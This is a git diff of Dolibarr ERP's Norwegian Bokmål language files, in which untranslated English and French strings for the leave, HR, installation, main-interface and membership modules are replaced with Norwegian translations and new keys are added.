LEAVE_SICK=Sykefravær LEAVE_OTHER=Annen ferie LEAVE_PAID_FR=Betalt ferie ## Configuration du Module ## -LastUpdateCP=Last automatic update of leave allocation -MonthOfLastMonthlyUpdate=Month of last automatic update of leave allocation +LastUpdateCP=Siste automatiske oppdatering av permisjonstildeling +MonthOfLastMonthlyUpdate=Måned for siste automatiske oppdatering av permisjonstildeling UpdateConfCPOK=Vellykket oppdatering. Module27130Name= Håndtering av feriesøknader Module27130Desc= Håndtering av feriesøknader @@ -126,14 +138,21 @@ FollowedByACounter=1: Denne typen ferie må være etterfulgt av en teller. Telle NoLeaveWithCounterDefined=Det er ikke definert noen ferietyper som trenger en teller GoIntoDictionaryHolidayTypes=Gå til Hjem - Oppsett - Ordbøker - Type permisjon for å sette opp forskjellige permisjonstyper. HolidaySetup=Oppsett av modul Permisjon -HolidaysNumberingModules=Numbering models for leave requests +HolidaysNumberingModules=Nummereringsmodeller for permisjonsforespørsler TemplatePDFHolidays=PDF-mal for permisjonsforespørsler FreeLegalTextOnHolidays=Fritekst på PDF WatermarkOnDraftHolidayCards=Vannmerke på permisjonsutkast  HolidaysToApprove=Ferier til godkjenning -NobodyHasPermissionToValidateHolidays=Ingen har tillatelse til å validere ferier -HolidayBalanceMonthlyUpdate=Monthly update of holiday balance -XIsAUsualNonWorkingDay=%s is usualy a NON working day -BlockHolidayIfNegative=Block if balance negative -LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative -ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +NobodyHasPermissionToValidateHolidays=Ingen har tillatelse til å validere permisjonsforespørsler +HolidayBalanceMonthlyUpdate=Månedlig oppdatering av permisjonsaldo +XIsAUsualNonWorkingDay=%s er vanligvis en IKKE-arbeidsdag +BlockHolidayIfNegative=Blokker hvis saldoen er negativ +LeaveRequestCreationBlockedBecauseBalanceIsNegative=Opprettelsen av denne permisjonsforespørselen er blokkert fordi saldoen din er negativ +ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Permisjonsforespørsel %s må være utkast, kansellert eller nektet å bli slettet +IncreaseHolidays=Øk permisjonsbalansen +HolidayRecordsIncreased= %s permisjonsaldoer økte +HolidayRecordIncreased=Permisjonsbalansen økt +ConfirmMassIncreaseHoliday=Masseøkning av permisjonsbalanse +NumberDayAddMass=Antall dager å legge til utvalget +ConfirmMassIncreaseHolidayQuestion=Er du sikker på at du vil øke ferien for den(e) %s valgte posten(e)? +HolidayQtyNotModified=Saldo av gjenværende dager for %s er ikke endret diff --git a/htdocs/langs/nb_NO/hrm.lang b/htdocs/langs/nb_NO/hrm.lang index 2d214e6d142..5e045842afb 100644 --- a/htdocs/langs/nb_NO/hrm.lang +++ b/htdocs/langs/nb_NO/hrm.lang @@ -12,7 +12,7 @@ OpenEtablishment=Åpne firma CloseEtablishment=Lukk firma # Dictionary DictionaryPublicHolidays=Permisjon - helligdager -DictionaryDepartment=HRM - Organizational Unit +DictionaryDepartment=HRM - Organisasjonsenhet DictionaryFunction=HRM - Jobbstillinger # Module Employees=Ansatte @@ -26,8 +26,8 @@ HRM_DEFAULT_SKILL_DESCRIPTION=Standard beskrivelse av rangeringer når ferdighet deplacement=Skift DateEval=Evalueringsdato JobCard=Jobbkort -JobPosition=Jobb -JobsPosition=Jobber +JobPosition=Jobbprofil +JobsPosition=Jobbprofiler NewSkill=Ny ferdighet SkillType=Ferdighetstype Skilldets=Liste over rangeringer for denne ferdigheten @@ -55,14 +55,14 @@ group1ToCompare=Brukergruppe å analysere group2ToCompare=Andre brukergruppe for sammenligning OrJobToCompare=Sammenlign med krav til jobbkompetanse difference=Forskjell -CompetenceAcquiredByOneOrMore=Competence acquired by one or more users but not requested by the second comparator +CompetenceAcquiredByOneOrMore=Kompetanse ervervet av en eller flere brukere, men ikke etterspurt av den andre komparatoren MaxlevelGreaterThan=Maksnivå høyere enn det forespurte MaxLevelEqualTo=Maks nivå er lik kravet MaxLevelLowerThan=Maksnivå lavere enn dette kravet -MaxlevelGreaterThanShort=Employee level greater than the one requested -MaxLevelEqualToShort=Employee level equals to that demand -MaxLevelLowerThanShort=Employee level lower than that demand -SkillNotAcquired=Skill not acquired by all users and requested by the second comparator +MaxlevelGreaterThanShort=Ansattnivå høyere enn det forespurte +MaxLevelEqualToShort=Ansattnivå tilsvarer denne etterspørselen +MaxLevelLowerThanShort=Ansattnivå lavere enn etterspørselen +SkillNotAcquired=Ferdigheter ikke ervervet av alle brukere og etterspurt av den andre komparatoren legend=Historikk TypeSkill=Ferdighetstype AddSkill=Legg ferdigheter til jobben @@ -71,21 +71,22 @@ UserRank=Brukerrangering SkillList=Ferdighetsliste SaveRank=Lagre rangering TypeKnowHow=Know how -TypeHowToBe=How to be +TypeHowToBe=Hvordan være TypeKnowledge=Kunnskap -AbandonmentComment=Abandonment comment -DateLastEval=Date last evaluation +AbandonmentComment=Forlatelseskommentar +DateLastEval=Dato for siste evaluering NoEval=Ingen evaluering gjort for denne ansatte -HowManyUserWithThisMaxNote=Number of users with this rank +HowManyUserWithThisMaxNote=Antall brukere med denne rangeringen HighestRank=Høyeste rangering -SkillComparison=Skill comparison -ActionsOnJob=Events on this job -VacantPosition=job vacancy -VacantCheckboxHelper=Checking this option will show unfilled positions (job vacancy) -SaveAddSkill = Skill(s) added -SaveLevelSkill = Skill(s) level saved -DeleteSkill = Skill removed -SkillsExtraFields=Attributs supplémentaires (Compétences) -JobsExtraFields=Attributs supplémentaires (Emplois) -EvaluationsExtraFields=Attributs supplémentaires (Evaluations) -NeedBusinessTravels=Need business travels +SkillComparison=Sammenligning av ferdigheter +ActionsOnJob=Hendelser på denne jobben +VacantPosition=ledig stilling +VacantCheckboxHelper=Hvis du merker av for dette alternativet, vises ubesatte stillinger (ledig stilling) +SaveAddSkill = Ferdighet(er) lagt til +SaveLevelSkill = Ferdighetsnivået er lagret +DeleteSkill = Ferdighet fjernet +SkillsExtraFields=Tilleggsattributter (kompetanser) +JobsExtraFields=Tilleggsattributter (Jobbprofil) +EvaluationsExtraFields=Tilleggsattributter (evalueringer) +NeedBusinessTravels=Trenger forretningsreiser +NoDescription=ingen beskrivelse diff --git a/htdocs/langs/nb_NO/install.lang b/htdocs/langs/nb_NO/install.lang index 4605a2e999d..01844a79471 100644 --- a/htdocs/langs/nb_NO/install.lang +++ b/htdocs/langs/nb_NO/install.lang @@ -8,7 +8,7 @@ ConfFileIsNotWritable=Konfigurasjonsfil %s er ikke skrivbar. Sjekk tillat ConfFileIsWritable=Konfigurasjonsfil %s er skrivbar. ConfFileMustBeAFileNotADir=Konfigurasjonsfil %s må være en fil, ikke en katalog. ConfFileReload=Laster parametere fra konfigurasjonsfilen på nytt. -NoReadableConfFileSoStartInstall=The configuration file conf/conf.php does not exists or is not readable. We will run the installation process to try to initialize it. +NoReadableConfFileSoStartInstall=Konfigurasjonsfilen conf/conf.php eksisterer ikke eller er ikke lesbar. Vi kjører installasjonsprosessen for å prøve å initialisere den. PHPSupportPOSTGETOk=Dette PHP støtter variablene POST og GET. PHPSupportPOSTGETKo=Det er mulig at ditt PHP-oppsett ikke støtter variablene POST og/eller GET. Sjekk parametrene variables_order i php.ini. PHPSupportSessions=Denne PHP støtter sesjoner. @@ -24,11 +24,11 @@ ErrorWrongValueForParameter=Du har kanskje skrevet feil verdi for parameteren '% ErrorFailedToCreateDatabase=Kunne ikke opprette database '%s'. ErrorFailedToConnectToDatabase=Kunne ikke koble til database '%s'. ErrorDatabaseVersionTooLow=Databaseversjonen (%s) er for gammel. Versjon %s eller senere kreves -ErrorPHPVersionTooLow=PHP version too old. Version %s or higher is required. -ErrorPHPVersionTooHigh=PHP version too high. Version %s or lower is required. +ErrorPHPVersionTooLow=PHP-versjonen er for gammel. Versjon %s eller høyere kreves. +ErrorPHPVersionTooHigh=PHP-versjonen er for høy. Versjon %s eller lavere kreves. ErrorConnectedButDatabaseNotFound=Tilkobling til server vellykket, men database '%s' ikke funnet. ErrorDatabaseAlreadyExists=Database '%s' finnes allerede. -ErrorNoMigrationFilesFoundForParameters=No migration file found for the selected versions +ErrorNoMigrationFilesFoundForParameters=Fant ingen migreringsfil for de valgte versjonene IfDatabaseNotExistsGoBackAndUncheckCreate=Hvis databasen ikke finnes, gå tilbake og kryss av alternativet "Opprett database". IfDatabaseExistsGoBackAndCheckCreate=Hvis databasen allerede eksisterer, gå tilbake og fjern "Opprett database" alternativet. WarningBrowserTooOld=Nettleseren din er utdatert. Det anbefales å oppgradere til siste versjon av Firefox, Chrome eller Opera. @@ -51,7 +51,6 @@ DatabaseName=Databasenavn DatabasePrefix=Database tabellprefiks DatabasePrefixDescription=Database tabellprefiks. Hvis tom, er standardinnstillingen llx_. AdminLogin=Brukerkonto for Dolibarr databaseeier. -PasswordAgain=Skriv inn passordbekreftelsen på nytt AdminPassword=Passord for Dolibarr databaseeier. CreateDatabase=Opprett database CreateUser=Opprett brukerkonto eller gi tillatelse til brukerkonto til Dolibarr-databasen @@ -89,7 +88,7 @@ LoginAlreadyExists=Finnes allerede DolibarrAdminLogin=Dolibarr admin login AdminLoginAlreadyExists=Dolibarr administratorkonto ' %s ' finnes allerede. Gå tilbake hvis du vil opprette en annen. FailedToCreateAdminLogin=Klarte ikke å opprette Dolibarr administratorkonto -WarningRemoveInstallDir=Advarsel, av sikkerhetsgrunner, når installasjonen eller oppgraderingen er fullført, bør du legge til en fil kalt install.lock i Dolibarr-dokumentmappen for å forhindre utilsiktet/ondsinnet bruk av installeringsverktøyene igjen. +WarningRemoveInstallDir=Advarsel, av sikkerhetsgrunner, når installasjonsprosessen er fullført, må du legge til en fil kalt install.lock i Dolibarr-dokumentkatalogen for å forhindre utilsiktet/ondsinnet bruk av installasjonsverktøyene igjen. FunctionNotAvailableInThisPHP=Ikke tilgjengelig på denne PHP ChoosedMigrateScript=Velg migrasjonscript DataMigration=Database migrasjon (data) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Skjul utilgjengelige alternativer ErrorFoundDuringMigration=Feil ble rapportert under migreringsprosessen, slik at neste trinn ikke er tilgjengelig. For å ignorere feil kan du klikke her , men programmet eller noen funksjoner fungerer kanskje ikke riktig før feilene er løst. YouTryInstallDisabledByDirLock=Programmet prøvde å oppgradere selv, men installerings- / oppgraderingssidene er deaktivert for sikkerhet (katalog omdøpt med .lock-suffiks).
      YouTryInstallDisabledByFileLock=Programmet prøvde å oppgradere selv, men installerings- / oppgraderingssidene er deaktivert for sikkerhet (ved eksistensen av en låsfil install.lock i dolibarr-dokumenter katalogen).
      +YouTryUpgradeDisabledByMissingFileUnLock=Applikasjonen prøvde å selvoppgradere, men oppgraderingsprosessen er foreløpig ikke tillatt.
      ClickHereToGoToApp=Klikk her for å gå til din applikasjon ClickOnLinkOrRemoveManualy=Vennligst vent hvis en oppgradering pågår. Hvis ikke, klikk på følgende lenke. Hvis du alltid ser den samme siden, må du fjerne/gi nytt navn til filen install.lock i dokumentkatalogen. +ClickOnLinkOrCreateUnlockFileManualy=Hvis en oppgradering pågår, vennligst vent... Hvis ikke, må du opprette en fil upgrade.unlock i Dolibarr-dokumentkatalogen. Loaded=Lastet FunctionTest=Funksjonstest +NodoUpgradeAfterDB=Ingen handling forespurt av eksterne moduler etter oppgradering av database +NodoUpgradeAfterFiles=Ingen handling forespurt av eksterne moduler etter oppgradering av filer eller kataloger +MigrationContractLineRank=Migrer kontraktslinje for å bruke rangering (og aktiver ombestilling) diff --git a/htdocs/langs/nb_NO/interventions.lang b/htdocs/langs/nb_NO/interventions.lang index b98e74e962a..4273e7f2712 100644 --- a/htdocs/langs/nb_NO/interventions.lang +++ b/htdocs/langs/nb_NO/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Skjuler timer- og minutt-feltene for intervensjons InterventionStatistics=Statistikk over intervensjoner NbOfinterventions=Antall intervensjonskort NumberOfInterventionsByMonth=Antall intervensjonskort etter måned (dato for validering) -AmountOfInteventionNotIncludedByDefault=Beløp fra intervensjoner er ikke inkludert som standard i overskudd (i de fleste tilfeller er tidsplaner brukt til å regne tid brukt). Legg til alternativ PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT til 1 i hjem-oppsett-andre for å inkludere dem. +AmountOfInteventionNotIncludedByDefault=Intervensjonsbeløp er ikke inkludert som standard i overskuddet (i de fleste tilfeller brukes timelister for å telle brukt tid). Du kan bruke PROJECT_ELEMENTS_FOR_ADD_MARGIN og PROJECT_ELEMENTS_FOR_MINUS_MARGIN-alternativet i hjem-oppsett-annet for å fullføre listen over elementer som er inkludert i profitt. InterId=Intervensjons-ID InterRef=Intervensjonsref. InterDateCreation=Dato for opprettelse av intervensjon @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Er du sikker på at du vil gjenåpne intervensjonen %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=Ingen flere mottaker å sende e-posten til diff --git a/htdocs/langs/nb_NO/main.lang b/htdocs/langs/nb_NO/main.lang index 002c7a202be..6fee2d31eb7 100644 --- a/htdocs/langs/nb_NO/main.lang +++ b/htdocs/langs/nb_NO/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=Ingen mal tilgjengelig for denne e-posttypen AvailableVariables=Tilgjengelige erstatningsverdier NoTranslation=Ingen oversettelse Translation=Oversettelse +Translations=Oversettelser CurrentTimeZone=Tidssone for PHP (server) EmptySearchString=Angi ikke-tomme søkekriterier EnterADateCriteria=Skriv inn datokriterier @@ -199,6 +206,7 @@ Valid=Gyldig Approve=Godkjenn Disapprove=Underkjenn ReOpen=Gjenåpne +OpenVerb=Åpent Upload=Last opp ToLink=Lenke Select=Velg @@ -216,8 +224,9 @@ UserGroup=Brukergruppe UserGroups=Brukergrupper NoUserGroupDefined=Ingen brukergrupper er definert Password=Passord -PasswordRetype=Gjenta passord +PasswordRetype=Gjenta passordet ditt NoteSomeFeaturesAreDisabled=Mange av egenskapene/modulene er deaktivert i denne demonstrasjonen. +YourUserFile=Din brukerfil Name=Navn NameSlashCompany=Navn/Firma Person=Person @@ -244,7 +253,7 @@ Designation=Beskrivelse DescriptionOfLine=Beskrivelse av linje DateOfLine=Dato for linje DurationOfLine=Varighet for linjen -ParentLine=Parent line ID +ParentLine=ID for overordnet linje Model=Dokumentmal DefaultModel=Standard dokumentmal Action=Handling @@ -481,6 +490,7 @@ ActionsOnContact=Hendelser for denne kontakten/adressen ActionsOnContract=Hendelser for denne kontrakten ActionsOnMember=Hendelser om dette medlemmet ActionsOnProduct=Hendelser om denne varen +ActionsOnAsset=Hendelser for dette anleggsmiddelet NActionsLate=%s forsinket ToDo=To do Completed=Fullført @@ -504,6 +514,7 @@ NotYetAvailable=Ikke tilgjengelig ennå NotAvailable=Ikke tilgjengelig Categories=Merker/kategorier Category=Merke/Kategori +SelectTheTagsToAssign=Velg taggene/kategoriene du vil tilordne By=Av From=Fra FromDate=Fra @@ -621,7 +632,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Vedlagte filer og dokumenter JoinMainDoc=Koble hoveddokument -JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found +JoinMainDocOrLastGenerated=Send hoveddokumentet eller det sist genererte hvis det ikke finnes DateFormatYYYYMM=ÅÅÅÅ-MM DateFormatYYYYMMDD=ÅÅÅÅ-MM-DD DateFormatYYYYMMDDHHMM=ÅÅÅÅ-MM-DD TT:SS @@ -712,7 +723,7 @@ FeatureDisabled=Funksjonen er slått av MoveBox=Flytt widget Offered=Tilbudt NotEnoughPermissions=Du har ikke tillatelse til å gjøre denne handlingen -UserNotInHierachy=This action is reserved to the supervisors of this user +UserNotInHierachy=Denne handlingen er forbeholdt denne brukerens overordnede SessionName=Sesjonnavn Method=Metode Receive=Motta @@ -802,7 +813,7 @@ URLPhoto=Url til bilde/logo SetLinkToAnotherThirdParty=Link til en annen tredjepart LinkTo=Lenke til LinkToProposal=Lenke til tilbud -LinkToExpedition= Link to expedition +LinkToExpedition= Link til ekspedisjon LinkToOrder=Lenke til ordre LinkToInvoice=Lenke til faktura LinkToTemplateInvoice=Link til fakturamal @@ -888,6 +899,9 @@ MassFilesArea= Filområde bygget av massehandlinger ShowTempMassFilesArea=Vis filområde bygget av massehandlinger ConfirmMassDeletion=Bekreft massesletting ConfirmMassDeletionQuestion=Er du sikker på at du vil slette de %s valgte postene? +ConfirmMassClone=Bekreftelse av bulk-kloning +ConfirmMassCloneQuestion=Velg prosjektet du vil klone til +ConfirmMassCloneToOneProject=Klon til prosjekt %s RelatedObjects=Relaterte objekter ClassifyBilled=Klassifisert fakturert ClassifyUnbilled=Klassifiser ufakturert @@ -903,13 +917,14 @@ ExportFilteredList=Eksporter filtrert liste ExportList=Eksportliste ExportOptions=Eksportinnstillinger IncludeDocsAlreadyExported=Inkluder dokumenter som allerede er eksportert -ExportOfPiecesAlreadyExportedIsEnable=Eksport av deler som allerede er eksportert, er aktivert -ExportOfPiecesAlreadyExportedIsDisable=Eksport av deler som allerede er eksportert, er deaktivert +ExportOfPiecesAlreadyExportedIsEnable=Dokumenter som allerede er eksportert er synlige og vil bli eksportert +ExportOfPiecesAlreadyExportedIsDisable=Dokumenter som allerede er eksportert er skjult og vil ikke bli eksportert AllExportedMovementsWereRecordedAsExported=Alle eksporterte bevegelser ble registrert som eksportert NotAllExportedMovementsCouldBeRecordedAsExported=Ikke alle eksporterte bevegelser kunne registreres som eksportert Miscellaneous=Diverse Calendar=Kalender GroupBy=Grupper etter... +GroupByX=Grupper etter %s ViewFlatList=Vis liste ViewAccountList=Vis hovedbok ViewSubAccountList=Vis underkonto hovedbok @@ -921,6 +936,7 @@ DirectDownloadInternalLink=Privat nedlastningskobling PrivateDownloadLinkDesc=Du må være innlogget og ha tillatelse for å se eller laste ned filen Download=Last ned DownloadDocument=Last ned dokument +DownloadSignedDocument=Last ned signert dokument ActualizeCurrency=Oppdater valutakurs Fiscalyear=Regnskapsår ModuleBuilder=Modul- og applikasjonsbygger @@ -1046,6 +1062,7 @@ SearchIntoContracts=Kontrakter SearchIntoCustomerShipments=Kundeforsendelser SearchIntoExpenseReports=Utgiftsrapporter SearchIntoLeaves=Permisjon +SearchIntoKM=Kunnskapsbase SearchIntoTickets=Supportsedler SearchIntoCustomerPayments=Kundebetalinger SearchIntoVendorPayments=Leverandørbetalinger @@ -1117,6 +1134,7 @@ DeleteFileText=Vil du slette denne filen? ShowOtherLanguages=Vis andre språk SwitchInEditModeToAddTranslation=Bytt i redigeringsmodus for å legge til oversettelser for dette språket NotUsedForThisCustomer=Ikke brukt for denne kunden +NotUsedForThisVendor=Ikke brukt for denne leverandøren AmountMustBePositive=Beløpet må være positivt ByStatus=Etter status InformationMessage=Informasjon @@ -1137,15 +1155,29 @@ EventReminder=Påminnelse om hendelse UpdateForAllLines=Oppdatering for alle linjer OnHold=Venter Civility=Tiltale -AffectTag=Påvirk merke +AffectTag=Tilordne et merke +AffectUser=Tilordne en bruker +SetSupervisor=Velg supervisor CreateExternalUser=Opprett ekstern bruker -ConfirmAffectTag=Påvirk bulkmerke -ConfirmAffectTagQuestion=Er du sikker på at du vil påvirke merker til valgte %s post(er)? +ConfirmAffectTag=Masse Merke-tilordning +ConfirmAffectUser=Masse brukertilordning +ProjectRole=Rolle tildelt på hvert prosjekt/mulighet +TasksRole=Rolle tildelt hver oppgave (hvis brukt) +ConfirmSetSupervisor=Sett Bulk Supervisor +ConfirmUpdatePrice=Velg en øknings-/reduksjonssats +ConfirmAffectTagQuestion=Er du sikker på at du vil tilordne merker til %s valgte post(er)? +ConfirmAffectUserQuestion=Er du sikker på at du vil tilordne brukere til %s valgte post(er)? +ConfirmSetSupervisorQuestion=Er du sikker på at du vil sette supervisor til %s valgte post(er)? +ConfirmUpdatePriceQuestion=Er du sikker på at du vil oppdatere prisen på %s valgte post(er)? CategTypeNotFound=Ingen merketype funnet for denne post-typen +Rate=Sats +SupervisorNotFound=Supervisor ikke funnet CopiedToClipboard=Kopiert til utklippstavlen InformationOnLinkToContract=Dette beløpet er bare summen av alle linjene i kontrakten. Ingen tidsbruk tas i betraktning. ConfirmCancel=Er du sikker på at du vil avbryte EmailMsgID=E-post MsgID +EmailDate=E-post dato +SetToStatus=Sett til status %s SetToEnabled=Sett til aktivert SetToDisabled=Sett til deaktivert ConfirmMassEnabling=bekreftelse av masseaktivering @@ -1171,12 +1203,27 @@ CanceledHidden=Kansellert skjult CanceledShown=Kansellert vist Terminate=Terminer Terminated=Terminert -AddLineOnPosition=Add line on position (at the end if empty) -ConfirmAllocateCommercial=Assign sales representative confirmation -ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected -YourMessage=Your message +AddLineOnPosition=Legg til linje på posisjon (på slutten hvis tom) +ConfirmAllocateCommercial=Tildel salgsrepresentant bekreftelse +ConfirmAllocateCommercialQuestion=Er du sikker på at du vil tilordne %s valgte post(er)? +CommercialsAffected=Tildelt salgsrepresentanter +CommercialAffected=Tildelt salgsrepresentant +YourMessage=Din beskjed YourMessageHasBeenReceived=Meldingen din er mottatt. Vi vil svare eller kontakte deg så snart som mulig. UrlToCheck=URL for å sjekke -Automation=Automation +Automation=Automasjon +CreatedByEmailCollector=Laget av e-postsamler +CreatedByPublicPortal=Laget fra offentlig portal +UserAgent=Brukeragent +InternalUser=Intern bruker +ExternalUser=Ekstern bruker +NoSpecificContactAddress=Ingen spesifikk kontakt eller adresse +NoSpecificContactAddressBis=Denne kategorien er dedikert til å tvinge frem spesifikke kontakter eller adresser for gjeldende objekt. Bruk den bare hvis du ønsker å definere en eller flere spesifikke kontakter eller adresser for objektet når informasjonen om tredjeparten ikke er nok eller ikke nøyaktig. +HideOnVCard=Skjul %s +AddToContacts=Legg til adresse i kontaktene mine +LastAccess=Siste tilgang +UploadAnImageToSeeAPhotoHere=Last opp et bilde fra fanen %s for å se et bilde her +LastPasswordChangeDate=Dato for siste endring av passord +PublicVirtualCardUrl=Virtuelt visittkortside URL +PublicVirtualCard=Virtuelt visittkort +TreeView=Trevisning diff --git a/htdocs/langs/nb_NO/margins.lang b/htdocs/langs/nb_NO/margins.lang index 49566206e4a..626a04fd8ec 100644 --- a/htdocs/langs/nb_NO/margins.lang +++ b/htdocs/langs/nb_NO/margins.lang @@ -6,6 +6,7 @@ TotalMargin=Totalmargin MarginOnProducts=Margin - Varer MarginOnServices=Margin - Tjenester MarginRate=Margin/påslag +ModifyMarginRates=Endre marginsatser MarkRate=Dekningsbidrag DisplayMarginRates=Vis marginrater DisplayMarkRates=Vis dekningsbidrag diff --git a/htdocs/langs/nb_NO/members.lang b/htdocs/langs/nb_NO/members.lang index 38b4a1e2029..6729de350c4 100644 --- a/htdocs/langs/nb_NO/members.lang +++ b/htdocs/langs/nb_NO/members.lang @@ -4,10 +4,12 @@ MemberCard=Medlemskort SubscriptionCard=Abonnementskort Member=Medlem Members=Medlemmer +NoRecordedMembers=Ingen registrerte medlemmer +NoRecordedMembersByType=Ingen registrerte medlemmer ShowMember=Bis medlemskort UserNotLinkedToMember=Brukeren er ikke knyttet til noe medlem ThirdpartyNotLinkedToMember=Tredjepart ikke knyttet til et medlem -MembersTickets=Membership address sheet +MembersTickets=Medlems-adresseark FundationMembers=Organisasjons-medlemmer ListOfValidatedPublicMembers=Liste over validerte offentlige medlemmer ErrorThisMemberIsNotPublic=Dette medlemet er ikke offentlig @@ -15,12 +17,13 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Et annet medlem (navn: %s, inn ErrorUserPermissionAllowsToLinksToItselfOnly=Av sikkerhetsgrunner må du ha tilgang til å redigere alle brukere for å kunne knytte et medlem til en bruker som ikke er ditt. SetLinkToUser=Lenke til en Dolibarr bruker SetLinkToThirdParty=Lenke til en Dolibarr tredjepart -MembersCards=Generation of cards for members +MemberCountersArePublic=Tellere til gyldige medlemmer er offentlige +MembersCards=Generering av kort for medlemmer MembersList=Liste over medlemmer MembersListToValid=Liste over medlems-utkast (må valideres) MembersListValid=Liste over gyldige medlemmer -MembersListUpToDate=List of valid members with up-to-date contribution -MembersListNotUpToDate=List of valid members with out-of-date contribution +MembersListUpToDate=Liste over gyldige medlemmer med oppdatert bidrag +MembersListNotUpToDate=Liste over gyldige medlemmer med utdatert bidrag MembersListExcluded=Liste over ekskluderte medlemmer MembersListResiliated=Liste over terminerte medlemmer MembersListQualified=Liste over kvalifiserte medlemmer @@ -28,15 +31,16 @@ MenuMembersToValidate=Utkast medlemmer MenuMembersValidated=Validerte medlemmer MenuMembersExcluded=Ekskluderte medlemmer MenuMembersResiliated=Terminerte medlemmer -MembersWithSubscriptionToReceive=Members with contribution to receive -MembersWithSubscriptionToReceiveShort=Contributions to receive -DateSubscription=Date of membership -DateEndSubscription=End date of membership -EndSubscription=End of membership -SubscriptionId=Contribution ID -WithoutSubscription=Without contribution -MemberId=Member Id -MemberRef=Member Ref +MembersWithSubscriptionToReceive=Medlemmer med bidrag å motta +MembersWithSubscriptionToReceiveShort=Bidrag å motta +DateSubscription=Dato for medlemskap +DateEndSubscription=Sluttdato for medlemskap +EndSubscription=Slutt på medlemskap +SubscriptionId=Bidrags-ID +WithoutSubscription=Uten medlemskap +WaitingSubscription=Medlemskap venter +MemberId=Medlems-ID +MemberRef=Medlem Ref NewMember=Nytt medlem MemberType=Medlemstype MemberTypeId=Medlemstype-ID @@ -44,9 +48,9 @@ MemberTypeLabel=Medlemstype etikett MembersTypes=Medlemstyper MemberStatusDraft=Kladd (må valideres) MemberStatusDraftShort=Kladd -MemberStatusActive=Validated (waiting contribution) +MemberStatusActive=Validert (venter på bidrag) MemberStatusActiveShort=Validert -MemberStatusActiveLate=Contribution expired +MemberStatusActiveLate=Bidrag utløpt MemberStatusActiveLateShort=Utløpt MemberStatusPaid=Abonnement oppdatert MemberStatusPaidShort=Oppdatert @@ -57,9 +61,9 @@ MemberStatusResiliatedShort=Terminert MembersStatusToValid=Utkast medlemmer MembersStatusExcluded=Ekskluderte medlemmer MembersStatusResiliated=Terminerte medlemmer -MemberStatusNoSubscription=Validated (no contribution required) +MemberStatusNoSubscription=Validert (ingen bidrag kreves) MemberStatusNoSubscriptionShort=Validert -SubscriptionNotNeeded=No contribution required +SubscriptionNotNeeded=Ingen bidrag kreves NewCotisation=Nytt bidrag PaymentSubscription=Ny bidragsinnbetaling SubscriptionEndDate=Abonnementets sluttdato @@ -71,17 +75,23 @@ MemberTypeDeleted=Medlemstype slettet MemberTypeCanNotBeDeleted=Medlemstype kan ikke slettes NewSubscription=Nytt bidrag NewSubscriptionDesc=Med dette skjemaet kan du ta opp abonnement som nytt medlem av organisasjonen. Hvis du ønsker å fornye abonnementet (hvis du allerede er medlem), vennligst kontakt organisasjonsstyret i stedet ved e-post %s. -Subscription=Contribution -Subscriptions=Contributions +Subscription=Bidrag +AnyAmountWithAdvisedAmount=Enhver mengde du ønsker, anbefalt %s +AnyAmountWithoutAdvisedAmount=Valgfritt beløp +CanEditAmountShort=Hvilket som helst beløp +CanEditAmountShortForValues=anbefales, uansett beløp +MembershipDuration=Varighet +GetMembershipButtonLabel=Bli med +Subscriptions=Bidrag SubscriptionLate=Forsinket -SubscriptionNotReceived=Contribution never received -ListOfSubscriptions=List of contributions +SubscriptionNotReceived=Bidrag aldri mottatt +ListOfSubscriptions=Liste over bidrag SendCardByMail=Send kortet via epost AddMember=Opprett medlem NoTypeDefinedGoToSetup=Ingen medlemstyper definert. Gå til Oppsett - Medlemstyper NewMemberType=Ny medlemstype WelcomeEMail=Velkomst e-post -SubscriptionRequired=Contribution required +SubscriptionRequired=Bidrag kreves DeleteType=Slett VoteAllowed=Stemming tillatt Physical=Individuell @@ -89,62 +99,62 @@ Moral=Selskap MorAndPhy=Selskap og individ Reenable=Aktiver på nytt ExcludeMember=Ekskluder et medlem -Exclude=Exclude +Exclude=Ekskluder ConfirmExcludeMember=Er du sikker på at du vil ekskludere dette medlemmet? ResiliateMember=Terminer et medlem ConfirmResiliateMember=Er du sikker på at du vil terminere dette medlemmet? DeleteMember=Slette et medlem -ConfirmDeleteMember=Are you sure you want to delete this member (Deleting a member will delete all his contributions)? +ConfirmDeleteMember=Er du sikker på at du vil slette dette medlemmet (Sletting av et medlem vil slette alle hans bidrag)? DeleteSubscription=Slett et abonnement -ConfirmDeleteSubscription=Are you sure you want to delete this contribution? +ConfirmDeleteSubscription=Er du sikker på at du vil slette dette bidraget? Filehtpasswd=htpasswd fil ValidateMember=Valider medlem ConfirmValidateMember=Er du sikker på at du vil validere dette medlemmet? FollowingLinksArePublic=Følgende lenker er åpne sider som ikke er beskyttet av noen Dolibarr-tillatelse. De er ikke formaterte sider, gitt som eksempel for å vise hvordan du kan vise en medlemsdatabase. PublicMemberList=Offentlig medlemsliste -BlankSubscriptionForm=Public self-registration form +BlankSubscriptionForm=Offentlig selvregistreringsskjema 